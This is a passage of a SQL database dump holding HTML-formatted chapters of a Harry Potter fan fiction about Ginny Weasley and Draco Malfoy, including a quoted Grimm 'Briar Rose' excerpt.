I\nwanted.&nbsp; I did not want the world\nto perish on my account&#8212;or Voldemort&#8217;s for that matter.&nbsp; I knew I had to help in any way I\ncould, and it would take a million miracles.&nbsp; But somehow, perhaps I could rekindle the part of Draco\nMalfoy that I knew was there, hidden deep beneath layers of his scornful\nthoughts.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">I had seen it once or twice within\nhis eyes, once upon a time&#8212;in the moments when he was alone, when he\nsmiled softly, making his whole face glow beautifully-- and perhaps the\nalliance against Voldemort would strengthen because of it, and perhaps the\nworld would have a chance.&nbsp; And I\nneeded a miracle.&nbsp; More so because\nI did not know whether or not I had the strength to fight against His lingering\nspirit&#8212;the battle within myself.&nbsp;\n&nbsp;I wasn&#8217;t sure of\nanything, however, and I did not know if any thing would work out the way I\nplanned to.&nbsp; The only comforting\nthought was the fact that I wanted to help&#8212;that I had not yet lost all\nhope.&nbsp; But who knew where I would\nbe standing tomorrow?&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nlooked toward the stars once more, feeling so cold though it was a rather warm\nnight. &nbsp;I sighed. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nneeded a miracle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">---------------------------------------------+</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;The Great Hall buzzed with noise, just\nlike any other day, and just like any other day, I sat towards the end of the\ntable, right next to Ron.&nbsp; Just like\nany other day, I picked at my food and listened to their idle talk disinterestedly.&nbsp; But today, their faces were dotted with\napprehension as they talked in rather hushed voices.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;\nHave you read the Daily Prophet yet?&#8217;&nbsp; Hermione held up the black and white newspaper with a\nflourish, the headline bold and clear.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b><i>10\nMuggles Killed In Last Nights Attack</i></b></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; My\neyes flew over to Harry and Ron to see their reaction, and their faces were\ngrim, an odd fear in each pair of eyes.&nbsp;\nWords that weren&#8217;t spoken were understood.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>So\nclose to war&#8230;</i></p>\n\n<p class="MsoNormal">It nearly scared me, how little effect the news had on\nme.&nbsp; Perhaps because the news was\nso common, as common as the birds chirping on the bright, sunny morning.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Images\nflashed through me, images of the death eaters killing the innocent people,\nimages of <i>Draco</i> killing them.&nbsp; The fact was no longer a surprise, not\nafter what he had said to me so enticingly last night.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; My\nprecious Draco having blood stains over his robes&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; More\nthan anything at that moment, I wanted to stop him, I wanted to see him back\nwhen he was a child, when he was na&#239;ve.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; My\nchair screeched loudly as I pushed it back to stand up.&nbsp; Ron&#8217;s troubled eyes looked up to\nmine questioningly. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;\nGinny?&#8217;&nbsp; My mouth opened, and\nI searched for the right words.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;\nI-I&#8230;have to go&#8230;&#8217; I stuttered.&nbsp; I looked calm as ever, I knew, and for that I was proud, but\nas I walked placidly out of the Great Hall full of laughter, my hands shook\nbeside me.&nbsp; The shadow that filled\nmy inside had grown larger.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For\nthe millionth time my thoughts lingered on the present danger, and they\nlingered on the single thought that I could not let myself sin, that I could\nnot let Him win.&nbsp; I could not let\nthe dark win.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A\nloud whoosh whipped past me, leaving my cheeks stinging, and then followed a\nclatter.&nbsp; I looked down and saw\nbooks before me, books that were not my own.&nbsp; And down on the floor was him, picking up the books with his\nlong, slender fingers, his blonde hair immaculately clean, I noticed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A\nmillion exhilarating thoughts rushed through me.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Stop\neverything.&nbsp; Tell him.&nbsp; Stop him.&nbsp; Win.</i></p>\n\n<p class="MsoNormal">And things should have changed the moment I opened my mouth\nto pour my soul out to him.&nbsp; To\ntake the chance to make him see new light.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But\nit all stopped with his eyes, the same way it had begun.&nbsp; He looked up at me, face so cruel, eyes\neven crueler, and they made my heart stop with pain.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nfeared him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;<i>Virginia&#8230;&#8217;</i>&nbsp; His\nmurmur was full of disdain, obviously the memory of last night still present. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Who\nare you to turn down such an offer?</i></p>\n\n<p class="MsoNormal">There were so many questions I wanted to ask him&#8212;questions\nthat I had already guessed answers to. The urge was so great, to get somewhere\nwithin this whirlwind of hell, to understand better. But I was a coward, and I\ncould not move while staring into those eyes.&nbsp; All the while, I had a feeling he knew what I wished to\ndo.&nbsp; He raised one perfect blonde\neyebrow and I knew he was mocking me yet again.&nbsp; Tears came to my eyes as I struggled not to blink, not to\nlet him win.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; In\nthe end it was I who walked away.&nbsp;\nHe looked back down to pick up his last book, and I ran.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ran\nlike the coward I was, for I wanted to get away from my life, if only for a\nmoment&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nfelt so na&#239;ve afterwards, when the tears had shamefully fallen again.&nbsp; Na&#239;ve that I had ever believed\nanything could be achieved so simply.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nneeded a plan&#8212;something so inevitable, something so strong&#8212;to make even\nthe great Draco Malfoy to go weak in the knees.&nbsp; I needed a plan to unleash the secret to changing destiny&#8212;and\nI very well hoped it was possible.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Overcome\nfear&#8230;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To be continued&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Review please.&nbsp;\n</p>\n\n\n\n\n\n\n'),
	(140, 3, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer:&nbsp; I\ndon&#8217;t own much.&nbsp; In fact, I\ndon&#8217;t think I own anything.&nbsp;\nJKR does, and I give her credit for the setting and characters.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Though My Heart Is From Hell-</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chapter\n3</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">For the second night, I could not\nsleep.&nbsp; Damn him, I thought over\nand over again&#8212;because he was the one that haunted me day and night.&nbsp; I was not stupid.&nbsp; But to think of such a fantastic\nplan&#8212;this feat seemed nearly impossible. I have already told you that I\nhad watched him from afar for many, many years.&nbsp; How does one change the life of a man who seems to have no\nfeelings? &nbsp;An ice statue;\nconstantly frozen, beautiful&#8230;and full of hatred.&nbsp; Even the greatest and warmest of fires\ncould not melt that.&nbsp; I laughed at\nmyself, I ridiculed myself, because here I was, laying in my soft bed, fantasizing\ncrazy dreams that were just that&#8212;dreams.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>I\ncan give you power&#8230;</i></p>\n\n<p class="MsoNormal">But I had to try.&nbsp;\nNo more sleep for me, I had decided.&nbsp; Not that I had gotten any.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">I got up, pacing holes in the\nfloors, before I sat back down at my desk, working in the dim candlelight.&nbsp; So many thoughts flew in, and I sat\nthere, fingers tapping the wood furiously, my pen waiting patiently to be\nused.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Weakness.</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">It hissed in my ear so\nstealthily&#8230;I had read in so many fairytales--of happy couples and a\njealous bystander&#8212;and how he plotted to kill the hero.&nbsp; Weakness.&nbsp; It came to me so quickly, so simply, and I thanked god for\nit.&nbsp; But just like every story,\nthere were numerous problems with the first step.&nbsp; I didn&#8217;t know what his weakness was.&nbsp; I knew what I had to do perfectly well:\nSoften him, make him listen, make him understand&#8212;get to know him well\nenough so that he would let <i>me</i> in, to\nlet <i>me</i> taste some of the sorrow\nhe felt. &nbsp;Get past the cold\nexterior and be rewarded for it.&nbsp;\nHope to find someone different under the ice&#8230; I did not think\nsimple, idle talk would achieve that.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Picking up my pen, it hovered above\nthe parchment for the briefest of seconds, before it hit the paper, the black\nink flowing out clearly and boldly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b><i>Find\nhis weakness.&nbsp; Break down his\nwalls&#8212;and at the very least, yearn to understand him.&nbsp; </i></b></p>\n\n<p class="MsoNormal">As I stood back to read what I had so gracefully penned, I\nchuckled at what I had written&#8212;it sounded so malicious to my ears, like\nit had come from the Dark Lord himself.&nbsp;\nBut then again, a part of the dark lord was within me.&nbsp; I could feel him constantly, I have\ntold you, and I know he gives me abilities that most are not graced with.&nbsp; My mind is faster, smarter, sharper,\nand he makes me bolder.&nbsp; Take his\nforceful character; mix it with the quiet, shy yet empathic Ginny Weasley and\nyou have the perfect weapon.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Cunning enough to think of\nmarvelous plans&#8212;quiet, small, gentle enough to blend in anywhere, to melt\nanyone&#8217;s heart.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">But not Draco Malfoy&#8217;s.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Rolling the piece of parchment up,\nI slipped it into the pocket of my robes and walked over to my bed once more,\nlooking out the window, awaiting for the sun to rise again.&nbsp; All the while I pondered idly of Draco,\nof when I would triumph and he would see the light, when all would be alright\nand the Dark Lord would be gone&#8230;and Draco&#8212;he would kiss me\ntenderly, and everything would be right.&nbsp;\nWe would be hopelessly in love, and I would have good reason to be in\nlove with him.&nbsp; And no longer will\nthe world scoff at me.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Am\nI surprising you yet, my friend?&nbsp;\nDo I surprise you with how my inner thoughts are so different from what\nyou see every day?&nbsp; Do I frighten\nyou?&nbsp; I frighten myself.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">--------------------------------------------------+</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\nsun crept up so suddenly, and the light filled my dorm.&nbsp; I looked around and saw the others\nsleeping peacefully, not a worry on their faces.&nbsp; I envied them.&nbsp;\nI wished to remember the times when I was like that&#8212;but I could\nnot.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">I felt restless and I wanted to get\naway.&nbsp; So, I crept out of bed,\nfeeling dry and tired&#8212;though not sleepy, and I got dressed quickly.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Grabbing\nmy bags, I tip toed out of the room, closing the door behind me, nodding in\nsatisfaction as I heard the soft click.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As\nI had suspected, no one was up at this early hour, not even Hermione, and I was\nquite relieved.&nbsp; I did not want to\nexplain&#8230;lie to Ron about why I was up.&nbsp; I smiled weakly at the thought of his worried face\nbombarding me with questions, and Hermione pressing a hand to my forehead, and\nthen Harry with that frown of his, the quiet one.&nbsp; I loved them all to death, and it hurt to think about what\neveryone was going through&#8230;the war&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They\nknew I loved them, and they loved me back, yet it amazed me.&nbsp; They had still not noticed anything\nunusual about me.&nbsp; Were they really\nthat ignorant?&nbsp; And oh, what a\nfunny picture it would be if I had gone up to them, telling them that I was a\ncorrupted, sick girl, and that Tom&#8217;s spirit was still within me, now a\npart of me forever.&nbsp; No, they would\nprobably laugh.&nbsp; It was a rather\nbitter thought.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\ncorridors were, as well, empty, and they felt oddly cold.&nbsp; I looked around just in case Filch was\nlurking about, then set off towards the library, my footsteps light.&nbsp; My books were clutched to my chest\nprotectively, and as I passed a mirror that hung on the wall, I saw my pale,\nghostly face; skin white as death, red hair limp, lips dry and flaking, and my\neyes&#8212;my books fell to a clatter as I saw my eyes&#8212;those haunted,\ndark, murky brown eyes that I was positive weren&#8217;t mine.&nbsp; Reality hit me hard.&nbsp; It was consuming me so much faster, now\nthat Draco had added to the pressure.&nbsp;\nNow that I knew I was in danger.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nlooked away quickly, feeling sick already, and I never wanted to see it\nagain.&nbsp; I bent down and picked up\nmy books very carefully before proceeding down the hall, a worried frown upon\nmy face.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Finally,\nto my exhausted relief, the doors came into view, and I felt almost at peace,\nsmelling all those musty old books, becoming surrounded.&nbsp; All I wanted to do now was to get lost\nin a happy book, cry a few tears, and get away from my life.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nselected a table at the edge of the library and sat down, a very small smile\nforming.&nbsp; Rubbing my hands\ntogether, I walked over to the Muggle literature section and browsed, my eyes\nshining with awe.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fairytales.&nbsp; I picked a thick book out and clutched\nit tightly, feeling content..&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Fairytales\nare for dreamers who can&#8217;t face reality.</i></p>\n\n<p class="MsoNormal">My expression sobered at the memory and I felt a shiver go\nthrough me, my hands running over the smooth cover of the book.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nsat back down, shaking the unruly thoughts out of my head, flipping the book to\nthe first page, my nose crinkling as the smell hit my nose.&nbsp; <i>Wonderful</i>, I thought.&nbsp; My eyes fell\nto the title, <i>Briar Rose</i>, and I\nsmiled, tingling with excitement.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>A\nlong time ago there lived a king and a queen, who said every day, &#8216; If\nonly we had a child!&#8217;&nbsp; But\nfor a long time they had none.&nbsp; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It\nhappened once as the Queen was bathing that a frog crept out of the water onto\nthe land and said to her, &#8216; Your wish shall be fulfilled.&nbsp; Before a year has passed you shall\nbring a daughter into the world.&#8217;&nbsp;\n</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\nfrog&#8217;s words came true.&nbsp; The\nQueen had a little girl who was so beautiful that the King could not contain\nhimself for joy, and he prepared a great feast.&nbsp; He invited his relatives, friends and acquaintances, and\nalso the fairies, in order that they might be favorably and kindly disposed\ntowards the child.&nbsp; There were\nthirteen of them in the kingdom, but as the king had only twelve golden plates\nfor them to eat from, one of the fairies had to stay at home.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\nfeast was held with all splendor, and when it came to and end the fairies all\npresented the child with a magic gift.&nbsp;\nOne gave her virtue, another beauty, a third riches, and so on, with\neverything in the world that she could wish for.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When\nthe eleven of the fairies had said their say, the thirteenth suddenly\nappeared.&nbsp; She wanted revenge\nherself for not having been invited.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Without\ngreeting anyone or even glancing at the company, she called out in a loud\nvoice, &#8216; The princess shall prick herself with a distaff in her fifteenth\nyear and shall fall down dead.&#8217;</i></p>\n\n<p class="MsoNormal"><i>And without another word she turned and left the hall.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone\nwas terror-stricken,, but the twelfth fairy, whose wish was still unspoken,\nstepped forward.&nbsp; She could not\ncancel the curse but could only soften it, so she said, &#8216; It shall not be\ndeath, but a deep sleep lasting a hundred years, into which your daughter shall\nfall.&#8217;&nbsp; *</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Entranced, aren&#8217;t we?&#8221;&nbsp; A voice as sharp as a knife.&nbsp; I gasped and turned around to meet his\ngray eyes &#8211;the source of the voice that had cut through my peace--and my\nheart lurched.&nbsp; He looked down at\nme somewhat amusedly, malice deep within his eyes.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nY-yes.&#8221; I stuttered lamely, shutting the book close.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nFairytales are for dreamers who can&#8217;t face reality.&#8221; He recited\nsmoothly, taking me by surprise yet again.&nbsp; My mouth formed an &#8216;o&#8217; at the coincidence.&nbsp; He must have noticed my surprised\ndemeanor, for he shrugged casually. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nEveryone knows that.&#8221; He said lightly, grabbing the book from the table\nand glancing at it.&nbsp; I looked down\nat the floor, feeling foolish again.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nThen I suppose I&#8217;m not everyone.&#8221;&nbsp; With one simple sentence, his eyes flitted over to me, wide,\nstern, shining hungrily, almost.&nbsp;\nAnd while he looked at me, all I could notice was how handsome he was in\nmy eyes, and how he made my heart tremble, though I knew how cruel he could be.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Can\nyou hear my heart, Draco?</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nNo&#8230;&#8221; he mused softly. &#8220; I suppose <i>we</i> aren&#8217;t everyone.&#8221;&nbsp; I listened attentively, a frown\ncrossing my face as I struggled to understand what he meant.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nI know everything, Virginia.&#8221; He said, his face an inch away from\nmine.&nbsp; &#8220; I know everything that\nhaunts you, everything you desire to be, everything you have <i>potential</i> to be.&#8221;&nbsp;\nHe paused, tilting my chin upward.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nAnd I want to help you.&#8221; </p>\n\n<p class="MsoNormal">The words were wrong. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">I tore away from him, because\neverything was a lie, and I hated him.&nbsp;\nHated him, yet helplessly intoxicated by him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No!&#8221;\nI cried childishly.&nbsp; &#8220;&nbsp; Why would <i>you</i> want to help me?&#8221; I wanted to let him know\nthat I was untouchable, that I was strong, that he couldn&#8217;t manipulate\nme. But with every word I uttered, I could feel the tears slowly rising, a sure\nsign that he affected me.&nbsp; He\nstared at me blankly in all his glory, celebrating, mocking me because he was\nso much better than I.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nBecause I can.&#8221;&nbsp; That was his\nsimple answer.&nbsp; And it left so many\nquestions.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Don&#8217;t\nsay that.</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nYou just want to use me.&#8221; I accused, my eyes narrowed until they were\nmere slits.&nbsp; He did not answer me,\nbut kept his gaze on me as if he were calculating me&#8212;while my tears\nslowly fell, and I grew weaker in his trance.&nbsp; He stepped closer to me, an innocent frown on his face.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>He\nwas so close.</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why\ndo you resist fate?&#8221; he asked simplistically, as if that were something\nso very odd.&nbsp; My eyes widened as\nthey met his, and I saw that he truly did not understand.&nbsp; I almost smiled.&nbsp; Pain, misery, cruelty he understood\nperfectly well&#8212;yet not this.&nbsp;\nI bit my lip, wondering how to answer him. Finally, I shrugged.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nBecause I can.&#8221; I replied smoothly, smiling at the irony.&nbsp; But any thoughts that would&#8217;ve\nflown in my head were stopped, because at that moment, he leaned in&#8212;and I\nwas engulfed in his mysterious eyes, engulfed in his wondrous and enticing\nscent, and soon found myself lost in a sea of kisses.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It\nwas a kiss full of hunger, full of yearning to know why, and he asked me again\nand again with his lips&#8212;while I stood still watching him achieve his\ngoal.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Tell\nme everything.</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nlet everything fall, and wrapping my small arms around him, I gave in, kissing\nhim back, asking back why he was the way he was&#8212;begging him to answer <i>my</i> questions. And though I knew it would be improbable,\na part of me held on because I had drifted off into one of my dreams, and in my\narms I held the boy I loved.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; And\nhe loved me.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp; All the while my heart jumped with excitement, for that\nfaint hope had been ignited, that indeed he had feelings, and that he could\nhave feelings for <i>me</i>, just another\nWeasley.&nbsp; How else could he kiss me\nso passionately?</p>\n\nStupid fool&#8230;\n\n<p class="MsoNormal" style="text-indent:.5in">But as with every good thing, it\ncame to an end abruptly.&nbsp; He pulled\nback suddenly, and the moment shattered.&nbsp;\nHis eyes were narrowed dangerously, and he was frowning, thin lips\npursed.&nbsp; His eyes accused me, and\nthey made me sweat, made me stumble, made me fall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Tell\nme, Virginia.</i>&nbsp; </p>\n\n<p class="MsoNormal">A look of immense hurt and confusion crossed my face, and my\nfists clenched in pain, realizing that he meant none of it, realizing that it\nwas just another way to use me. &nbsp;Just another dream shattered. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Mustering all the strength and\ndignity I had within me&#8212;for I was humiliated beyond comprehension&#8212;I\nshook my head and slowly walked away, books clutched under my chin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;\nBecause I can, Draco Malfoy.&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Reality had hit me again, and I felt my\nheart ache yet grow stronger in a sense.&nbsp;\nIt was a game&#8212;and unless he gave me answers, I wouldn&#8217;t give\nhim any either.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*--This excerpt comes from Grimms&#8217; Fairy Tales, by the\nbrothers Grimm, translated by Mrs. E.V. Lucas, Lucy Crane, and Marian Edwardes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
